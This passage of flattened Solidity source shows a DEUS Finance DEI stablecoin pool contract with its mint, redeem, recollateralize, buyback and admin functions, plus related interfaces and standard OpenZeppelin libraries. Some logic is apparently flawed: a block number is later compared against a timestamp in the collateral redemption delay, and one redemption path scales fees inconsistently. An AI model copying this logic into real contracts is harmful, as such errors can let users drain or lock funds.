abi.encodePacked(deus, deusPrice, expireBlock, _getChainId())
);
require(
IDEI(dei).verify_price(sighash, sigs),
"DEIPool: UNVERIFIED_SIGNATURE"
);
deiAmount = IPoolLibrary(poolLibrary).calcMintAlgorithmicDEI(
deusPrice, // X DEUS / 1 USD
deusAmount
);
deiAmount = (deiAmount * (SCALE - (mintingFee))) / SCALE;
daoShare += (deiAmount * mintingFee) / SCALE;
IDEUS(deus).pool_burn_from(msg.sender, deusAmount);
IDEI(dei).pool_mint(msg.sender, deiAmount);
}
// Will fail if fully collateralized or fully algorithmic
// > 0% and < 100% collateral-backed
function mintFractionalDEI(
uint256 collateralAmount,
uint256 deusAmount,
uint256 deusPrice,
uint256 expireBlock,
bytes[] calldata sigs
) external notMintPaused returns (uint256 mintAmount) {
uint256 globalCollateralRatio = IDEI(dei).global_collateral_ratio();
require(
globalCollateralRatio < COLLATERAL_RATIO_MAX &&
globalCollateralRatio > 0,
"DEIPool: INVALID_COLLATERAL_RATIO"
);
require(
IERC20(collateral).balanceOf(address(this)) -
unclaimedPoolCollateral +
collateralAmount <=
poolCeiling,
"DEIPool: CEILING_REACHED"
);
require(expireBlock >= block.number, "DEIPool: EXPIRED_SIGNATURE");
bytes32 sighash = keccak256(
abi.encodePacked(deus, deusPrice, expireBlock, _getChainId())
);
require(
IDEI(dei).verify_price(sighash, sigs),
"DEIPool: UNVERIFIED_SIGNATURE"
);
IPoolLibrary.MintFractionalDeiParams memory inputParams;
// Blocking is just for solving stack depth problem
{
uint256 collateralAmountD18 = collateralAmount *
(10**missingDecimals);
inputParams = IPoolLibrary.MintFractionalDeiParams(
deusPrice,
COLLATERAL_PRICE,
collateralAmountD18,
globalCollateralRatio
);
}
uint256 deusNeeded;
(mintAmount, deusNeeded) = IPoolLibrary(poolLibrary)
.calcMintFractionalDEI(inputParams);
require(deusNeeded <= deusAmount, "INSUFFICIENT_DEUS_INPUTTED");
mintAmount = (mintAmount * (SCALE - mintingFee)) / SCALE;
IDEUS(deus).pool_burn_from(msg.sender, deusNeeded);
TransferHelper.safeTransferFrom(
collateral,
msg.sender,
address(this),
collateralAmount
);
daoShare += (mintAmount * mintingFee) / SCALE;
IDEI(dei).pool_mint(msg.sender, mintAmount);
}
// Redeem collateral. 100% collateral-backed
function redeem1t1DEI(uint256 deiAmount) external notRedeemPaused {
require(
IDEI(dei).global_collateral_ratio() == COLLATERAL_RATIO_MAX,
"DEIPool: INVALID_COLLATERAL_RATIO"
);
// Need to adjust for decimals of collateral
uint256 deiAmountPrecision = deiAmount / (10**missingDecimals);
uint256 collateralNeeded = IPoolLibrary(poolLibrary).calcRedeem1t1DEI(
COLLATERAL_PRICE,
deiAmountPrecision
);
collateralNeeded = (collateralNeeded * (SCALE - redemptionFee)) / SCALE;
require(
collateralNeeded <=
IERC20(collateral).balanceOf(address(this)) -
unclaimedPoolCollateral,
"DEIPool: INSUFFICIENT_COLLATERAL_BALANCE"
);
redeemCollateralBalances[msg.sender] =
redeemCollateralBalances[msg.sender] +
collateralNeeded;
unclaimedPoolCollateral = unclaimedPoolCollateral + collateralNeeded;
lastCollateralRedeemed[msg.sender] = block.number;
daoShare += (deiAmount * redemptionFee) / SCALE;
// Move all external functions to the end
IDEI(dei).pool_burn_from(msg.sender, deiAmount);
}
// Will fail if fully collateralized or algorithmic
// Redeem DEI for collateral and DEUS. > 0% and < 100% collateral-backed
function redeemFractionalDEI(uint256 deiAmount) external notRedeemPaused {
uint256 globalCollateralRatio = IDEI(dei).global_collateral_ratio();
require(
globalCollateralRatio < COLLATERAL_RATIO_MAX &&
globalCollateralRatio > 0,
"DEIPool: INVALID_COLLATERAL_RATIO"
);
// Blocking is just for solving stack depth problem
uint256 collateralAmount;
{
uint256 deiAmountPostFee = (deiAmount * (SCALE - redemptionFee)) /
(PRICE_PRECISION);
uint256 deiAmountPrecision = deiAmountPostFee /
(10**missingDecimals);
collateralAmount =
(deiAmountPrecision * globalCollateralRatio) /
PRICE_PRECISION;
}
require(
collateralAmount <=
IERC20(collateral).balanceOf(address(this)) -
unclaimedPoolCollateral,
"DEIPool: NOT_ENOUGH_COLLATERAL"
);
redeemCollateralBalances[msg.sender] += collateralAmount;
lastCollateralRedeemed[msg.sender] = block.timestamp;
unclaimedPoolCollateral = unclaimedPoolCollateral + collateralAmount;
{
uint256 deiAmountPostFee = (deiAmount * (SCALE - redemptionFee)) /
SCALE;
uint256 deusDollarAmount = (deiAmountPostFee *
(SCALE - globalCollateralRatio)) / SCALE;
redeemPositions[msg.sender].push(
RedeemPosition({
amount: deusDollarAmount,
timestamp: block.timestamp
})
);
}
daoShare += (deiAmount * redemptionFee) / SCALE;
IDEI(dei).pool_burn_from(msg.sender, deiAmount);
}
// Redeem DEI for DEUS. 0% collateral-backed
function redeemAlgorithmicDEI(uint256 deiAmount) external notRedeemPaused {
require(
IDEI(dei).global_collateral_ratio() == 0,
"DEIPool: INVALID_COLLATERAL_RATIO"
);
uint256 deusDollarAmount = (deiAmount * (SCALE - redemptionFee)) /
(PRICE_PRECISION);
redeemPositions[msg.sender].push(
RedeemPosition({
amount: deusDollarAmount,
timestamp: block.timestamp
})
);
daoShare += (deiAmount * redemptionFee) / SCALE;
IDEI(dei).pool_burn_from(msg.sender, deiAmount);
}
function collectCollateral() external {
require(
(lastCollateralRedeemed[msg.sender] + collateralRedemptionDelay) <=
block.timestamp,
"DEIPool: COLLATERAL_REDEMPTION_DELAY"
);
if (redeemCollateralBalances[msg.sender] > 0) {
uint256 collateralAmount = redeemCollateralBalances[msg.sender];
redeemCollateralBalances[msg.sender] = 0;
TransferHelper.safeTransfer(
collateral,
msg.sender,
collateralAmount
);
unclaimedPoolCollateral =
unclaimedPoolCollateral -
collateralAmount;
}
}
function collectDeus(
uint256 price,
bytes calldata _reqId,
SchnorrSign[] calldata sigs
) external {
require(
sigs.length >= minimumRequiredSignatures,
"DEIPool: INSUFFICIENT_SIGNATURES"
);
uint256 redeemId = nextRedeemId[msg.sender]++;
require(
redeemPositions[msg.sender][redeemId].timestamp +
deusRedemptionDelay <=
block.timestamp,
"DEIPool: DEUS_REDEMPTION_DELAY"
);
{
bytes32 hash = keccak256(
abi.encodePacked(
appId,
msg.sender,
redeemId,
price,
_getChainId()
)
);
require(
IMuonV02(muon).verify(_reqId, uint256(hash), sigs),
"DEIPool: UNVERIFIED_SIGNATURES"
);
}
uint256 deusAmount = (redeemPositions[msg.sender][redeemId].amount *
1e18) / price;
IDEUS(deus).pool_mint(msg.sender, deusAmount);
}
// When the protocol is recollateralizing, we need to give a discount of DEUS to hit the new CR target
// Thus, if the target collateral ratio is higher than the actual value of collateral, minters get DEUS for adding collateral
// This function simply rewards anyone that sends collateral to a pool with the same amount of DEUS + the bonus rate
// Anyone can call this function to recollateralize the protocol and take the extra DEUS value from the bonus rate as an arb opportunity
function RecollateralizeDei(RecollateralizeDeiParams memory inputs)
external
{
require(
recollateralizePaused == false,
"DEIPool: RECOLLATERALIZE_PAUSED"
);
require(
inputs.expireBlock >= block.number,
"DEIPool: EXPIRE_SIGNATURE"
);
bytes32 sighash = keccak256(
abi.encodePacked(
deus,
inputs.deusPrice,
inputs.expireBlock,
_getChainId()
)
);
require(
IDEI(dei).verify_price(sighash, inputs.sigs),
"DEIPool: UNVERIFIED_SIGNATURES"
);
uint256 collateralAmountD18 = inputs.collateralAmount *
(10**missingDecimals);
uint256 deiTotalSupply = IDEI(dei).totalSupply();
uint256 globalCollateralRatio = IDEI(dei).global_collateral_ratio();
uint256 globalCollateralValue = IDEI(dei).globalCollateralValue(
inputs.collateralPrice
);
(uint256 collateralUnits, uint256 amountToRecollat) = IPoolLibrary(
poolLibrary
).calcRecollateralizeDEIInner(
collateralAmountD18,
inputs.collateralPrice[inputs.collateralPrice.length - 1], // pool collateral price exist in last index
globalCollateralValue,
deiTotalSupply,
globalCollateralRatio
);
uint256 collateralUnitsPrecision = collateralUnits /
(10**missingDecimals);
uint256 deusPaidBack = (amountToRecollat *
(SCALE + bonusRate - recollatFee)) / inputs.deusPrice;
TransferHelper.safeTransferFrom(
collateral,
msg.sender,
address(this),
collateralUnitsPrecision
);
IDEUS(deus).pool_mint(msg.sender, deusPaidBack);
}
// Function can be called by an DEUS holder to have the protocol buy back DEUS with excess collateral value from a desired collateral pool
// This can also happen if the collateral ratio > 1
function buyBackDeus(
uint256 deusAmount,
uint256[] memory collateralPrice,
uint256 deusPrice,
uint256 expireBlock,
bytes[] calldata sigs
) external {
require(buyBackPaused == false, "DEIPool: BUYBACK_PAUSED");
require(expireBlock >= block.number, "DEIPool: EXPIRED_SIGNATURE");
bytes32 sighash = keccak256(
abi.encodePacked(
collateral,
collateralPrice,
deus,
deusPrice,
expireBlock,
_getChainId()
)
);
require(
IDEI(dei).verify_price(sighash, sigs),
"DEIPool: UNVERIFIED_SIGNATURE"
);
IPoolLibrary.BuybackDeusParams memory inputParams = IPoolLibrary
.BuybackDeusParams(
availableExcessCollatDV(collateralPrice),
deusPrice,
collateralPrice[collateralPrice.length - 1], // pool collateral price exist in last index
deusAmount
);
uint256 collateralEquivalentD18 = (IPoolLibrary(poolLibrary)
.calcBuyBackDEUS(inputParams) * (SCALE - buybackFee)) / SCALE;
uint256 collateralPrecision = collateralEquivalentD18 /
(10**missingDecimals);
// Give the sender their desired collateral and burn the DEUS
IDEUS(deus).pool_burn_from(msg.sender, deusAmount);
TransferHelper.safeTransfer(
collateral,
msg.sender,
collateralPrecision
);
}
/* ========== RESTRICTED FUNCTIONS ========== */
function collectDaoShare(uint256 amount, address to)
external
onlyRole(DAO_SHARE_COLLECTOR)
{
require(amount <= daoShare, "DEIPool: INVALID_AMOUNT");
IDEI(dei).pool_mint(to, amount);
daoShare -= amount;
emit daoShareCollected(amount, to);
}
function emergencyWithdrawERC20(
address token,
uint256 amount,
address to
) external onlyRole(TRUSTY_ROLE) {
IERC20(token).transfer(to, amount);
}
function toggleMinting() external onlyRole(PAUSER_ROLE) {
mintPaused = !mintPaused;
emit MintingToggled(mintPaused);
}
function toggleRedeeming() external onlyRole(PAUSER_ROLE) {
redeemPaused = !redeemPaused;
emit RedeemingToggled(redeemPaused);
}
function toggleRecollateralize() external onlyRole(PAUSER_ROLE) {
recollateralizePaused = !recollateralizePaused;
emit RecollateralizeToggled(recollateralizePaused);
}
function toggleBuyBack() external onlyRole(PAUSER_ROLE) {
buyBackPaused = !buyBackPaused;
emit BuybackToggled(buyBackPaused);
}
// Combined into one function due to 24KiB contract memory limit
function setPoolParameters(
uint256 poolCeiling_,
uint256 bonusRate_,
uint256 collateralRedemptionDelay_,
uint256 deusRedemptionDelay_,
uint256 mintingFee_,
uint256 redemptionFee_,
uint256 buybackFee_,
uint256 recollatFee_,
address muon_,
uint32 appId_,
uint256 minimumRequiredSignatures_
) external onlyRole(PARAMETER_SETTER_ROLE) {
poolCeiling = poolCeiling_;
bonusRate = bonusRate_;
collateralRedemptionDelay = collateralRedemptionDelay_;
deusRedemptionDelay = deusRedemptionDelay_;
mintingFee = mintingFee_;
redemptionFee = redemptionFee_;
buybackFee = buybackFee_;
recollatFee = recollatFee_;
muon = muon_;
appId = appId_;
minimumRequiredSignatures = minimumRequiredSignatures_;
emit PoolParametersSet(
poolCeiling_,
bonusRate_,
collateralRedemptionDelay_,
deusRedemptionDelay_,
mintingFee_,
redemptionFee_,
buybackFee_,
recollatFee_,
muon_,
appId_,
minimumRequiredSignatures_
);
}
}
//Dar panah khoda
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.11;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
interface IPoolLibrary {
struct MintFractionalDeiParams {
uint256 deusPrice;
uint256 collateralPrice;
uint256 collateralAmount;
uint256 collateralRatio;
}
struct BuybackDeusParams {
uint256 excessCollateralValueD18;
uint256 deusPrice;
uint256 collateralPrice;
uint256 deusAmount;
}
function calcMint1t1DEI(uint256 col_price, uint256 collateral_amount_d18)
external
pure
returns (uint256);
function calcMintAlgorithmicDEI(
uint256 deus_price_usd,
uint256 deus_amount_d18
) external pure returns (uint256);
function calcMintFractionalDEI(MintFractionalDeiParams memory params)
external
pure
returns (uint256, uint256);
function calcRedeem1t1DEI(uint256 col_price_usd, uint256 DEI_amount)
external
pure
returns (uint256);
function calcBuyBackDEUS(BuybackDeusParams memory params)
external
pure
returns (uint256);
function recollateralizeAmount(
uint256 total_supply,
uint256 global_collateral_ratio,
uint256 global_collat_value
) external pure returns (uint256);
function calcRecollateralizeDEIInner(
uint256 collateral_amount,
uint256 col_price,
uint256 global_collat_value,
uint256 dei_total_supply,
uint256 global_collateral_ratio
) external pure returns (uint256, uint256);
}
// SPDX-License-Identifier: MIT
// =================================================================================================================
// _|_|_| _|_|_|_| _| _| _|_|_| _|_|_|_| _| |
// _| _| _| _| _| _| _| _|_|_| _|_|_| _|_|_| _|_|_| _|_| |
// _| _| _|_|_| _| _| _|_| _|_|_| _| _| _| _| _| _| _| _| _|_|_|_| |
// _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| |
// _|_|_| _|_|_|_| _|_| _|_|_| _| _| _| _| _|_|_| _| _| _|_|_| _|_|_| |
// =================================================================================================================
// ============================= Oracle =============================
// ==================================================================
// DEUS Finance: https://github.com/DeusFinance
// Primary Author(s)
// Sina: https://github.com/spsina
// Vahid: https://github.com/vahid-dev
import "./IMuonV02.sol";
interface IDEIPool {
struct RecollateralizeDeiParams {
uint256 collateralAmount;
uint256 poolCollateralPrice;
uint256[] collateralPrice;
uint256 deusPrice;
uint256 expireBlock;
bytes[] sigs;
}
struct RedeemPosition {
uint256 amount;
uint256 timestamp;
}
/* ========== PUBLIC VIEWS ========== */
function collatDollarBalance(uint256 collateralPrice)
external
view
returns (uint256 balance);
function positionsLength(address user)
external
view
returns (uint256 length);
function getAllPositions(address user)
external
view
returns (RedeemPosition[] memory positinos);
function getUnRedeemedPositions(address user)
external
view
returns (RedeemPosition[] memory positions);
function mint1t1DEI(uint256 collateralAmount)
external
returns (uint256 deiAmount);
function mintAlgorithmicDEI(
uint256 deusAmount,
uint256 deusPrice,
uint256 expireBlock,
bytes[] calldata sigs
) external returns (uint256 deiAmount);
function mintFractionalDEI(
uint256 collateralAmount,
uint256 deusAmount,
uint256 deusPrice,
uint256 expireBlock,
bytes[] calldata sigs
) external returns (uint256 mintAmount);
function redeem1t1DEI(uint256 deiAmount) external;
function redeemFractionalDEI(uint256 deiAmount) external;
function redeemAlgorithmicDEI(uint256 deiAmount) external;
function collectCollateral() external;
function collectDeus(
uint256 price,
bytes calldata _reqId,
SchnorrSign[] calldata sigs
) external;
function RecollateralizeDei(RecollateralizeDeiParams memory inputs)
external;
function buyBackDeus(
uint256 deusAmount,
uint256[] memory collateralPrice,
uint256 deusPrice,
uint256 expireBlock,
bytes[] calldata sigs
) external;
/* ========== RESTRICTED FUNCTIONS ========== */
function collectDaoShare(uint256 amount, address to) external;
function emergencyWithdrawERC20(
address token,
uint256 amount,
address to
) external;
function toggleMinting() external;
function toggleRedeeming() external;
function toggleRecollateralize() external;
function toggleBuyBack() external;
function setPoolParameters(
uint256 poolCeiling_,
uint256 bonusRate_,
uint256 collateralRedemptionDelay_,
uint256 deusRedemptionDelay_,
uint256 mintingFee_,
uint256 redemptionFee_,
uint256 buybackFee_,
uint256 recollatFee_,
address muon_,
uint32 appId_,
uint256 minimumRequiredSignatures_
) external;
/* ========== EVENTS ========== */
event PoolParametersSet(
uint256 poolCeiling,
uint256 bonusRate,
uint256 collateralRedemptionDelay,
uint256 deusRedemptionDelay,
uint256 mintingFee,
uint256 redemptionFee,
uint256 buybackFee,
uint256 recollatFee,
address muon,
uint32 appId,
uint256 minimumRequiredSignatures
);
event daoShareCollected(uint256 daoShare, address to);
event MintingToggled(bool toggled);
event RedeemingToggled(bool toggled);
event RecollateralizeToggled(bool toggled);
event BuybackToggled(bool toggled);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
interface IDEUS {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function pool_burn_from(address b_address, uint256 b_amount) external;
function pool_mint(address m_address, uint256 m_amount) external;
function mint(address to, uint256 amount) external;
function setDEIAddress(address dei_contract_address) external;
function setNameAndSymbol(string memory _name, string memory _symbol) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
interface IDEI {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function global_collateral_ratio() external view returns (uint256);
function dei_pools(address _address) external view returns (bool);
function dei_pools_array() external view returns (address[] memory);
function verify_price(bytes32 sighash, bytes[] calldata sigs) external view returns (bool);
function dei_info(uint256[] memory collat_usd_price) external view returns (uint256, uint256, uint256);
function getChainID() external view returns (uint256);
function globalCollateralValue(uint256[] memory collat_usd_price) external view returns (uint256);
function refreshCollateralRatio(uint deus_price, uint dei_price, uint256 expire_block, bytes[] calldata sigs) external;
function useGrowthRatio(bool _use_growth_ratio) external;
function setGrowthRatioBands(uint256 _GR_top_band, uint256 _GR_bottom_band) external;
function setPriceBands(uint256 _top_band, uint256 _bottom_band) external;
function activateDIP(bool _activate) external;
function pool_burn_from(address b_address, uint256 b_amount) external;
function pool_mint(address m_address, uint256 m_amount) external;
function addPool(address pool_address) external;
function removePool(address pool_address) external;
function setNameAndSymbol(string memory _name, string memory _symbol) external;
function setOracle(address _oracle) external;
function setDEIStep(uint256 _new_step) external;
function setReserveTracker(address _reserve_tracker_address) external;
function setRefreshCooldown(uint256 _new_cooldown) external;
function setDEUSAddress(address _deus_address) external;
function toggleCollateralRatio() external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
